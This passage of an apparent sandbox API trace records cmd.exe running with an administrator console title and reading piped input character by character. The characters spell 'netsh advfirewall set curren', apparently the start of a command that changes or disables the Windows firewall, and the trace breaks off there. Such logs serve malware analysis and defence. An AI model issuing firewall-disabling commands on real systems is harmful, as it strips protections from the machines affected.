WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.049] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef9a8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef9a8*=0x2, lpOverlapped=0x0) returned 1 [0066.049] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1ef9d8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0066.049] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.049] GetFileType (hFile=0x110) returned 0x3 [0066.050] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0066.050] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1ef9a8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef9a8*=0x3f, lpOverlapped=0x0) returned 1 [0066.050] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef9d8 | out: _Buffer="\r\n") returned 2 [0066.050] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.050] GetFileType (hFile=0x110) returned 0x3 [0066.050] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.050] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef9a8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef9a8*=0x2, lpOverlapped=0x0) returned 1 [0066.051] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0066.051] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0 [0066.051] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290 [0066.051] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0 [0066.051] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.051] GetFileType (hFile=0x104) returned 0x3 [0066.052] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0066.052] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1ef800 | out: TokenHandle=0x1ef800*=0x0) returned 0xc000007c [0066.052] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1ef800 | out: TokenHandle=0x1ef800*=0x50) returned 0x0 [0066.052] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1ef810, TokenInformationLength=0x4, ReturnLength=0x1ef818 | out: TokenInformation=0x1ef810, ReturnLength=0x1ef818) returned 0x0 [0066.052] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1ef818, TokenInformationLength=0x4, ReturnLength=0x1ef810 | out: TokenInformation=0x1ef818, ReturnLength=0x1ef810) returned 0x0 [0066.052] NtClose (Handle=0x50) returned 0x0 [0066.053] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1ef7e0, nSize=0x0, Arguments=0x1ef7e8 | out: lpBuffer="韠0") returned 0xf [0066.053] GetProcessHeap () returned 0x2f0000 [0066.053] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x2f1ab0 [0066.053] GetConsoleTitleW (in: lpConsoleTitle=0x1ef830, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.054] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0066.054] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.056] GetProcessHeap () returned 0x2f0000 [0066.056] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x2f1ab0 | out: hHeap=0x2f0000) returned 1 [0066.056] LocalFree (hMem=0x3097e0) returned 0x0 [0066.056] GetProcessHeap () returned 0x2f0000 [0066.056] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30aa10 | out: hHeap=0x2f0000) returned 1 [0066.057] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef518 | out: _Buffer="\r\n") returned 2 [0066.057] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.057] GetFileType (hFile=0x110) returned 0x3 [0066.057] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.058] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef4e8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef4e8*=0x2, lpOverlapped=0x0) returned 1 [0066.058] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.058] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a28c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.058] _vsnwprintf (in: _Buffer=0x4a27eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ef528 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.058] _vsnwprintf (in: _Buffer=0x4a27ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1ef528 | out: _Buffer=">") returned 1 [0066.058] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.059] GetFileType (hFile=0x110) returned 0x3 [0066.059] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.059] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1ef518, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef518*=0x26, lpOverlapped=0x0) returned 1 [0066.059] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.059] GetFileType (hFile=0x104) returned 0x3 [0066.059] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.059] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.060] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.060] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e320, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0066.060] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.060] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.061] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e322, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.061] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.061] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.061] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.061] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e324, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0066.061] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.061] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.061] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e326, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0066.062] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.062] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.062] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.062] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e328, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0066.062] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.062] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.062] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.063] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.063] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.063] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.063] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e32c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0066.063] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.063] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.063] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e32e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.064] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.064] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e330, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.064] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.064] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e332, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.065] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e334, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.065] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e336, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.065] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.066] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e33a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.066] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e33c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.067] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e33e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.067] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e340, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.068] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.068] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e342, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.068] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.068] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.068] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0066.068] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.068] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.069] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e346, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.069] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.069] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.069] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e348, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0066.069] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.069] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.069] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e34a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.336] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.337] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.337] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0066.337] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.337] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.337] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e34e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0066.337] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.338] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.338] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e350, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0066.338] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.338] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.338] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e352, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0066.338] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.338] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.339] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e354, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.339] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.339] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.339] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e356, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0066.339] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.339] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 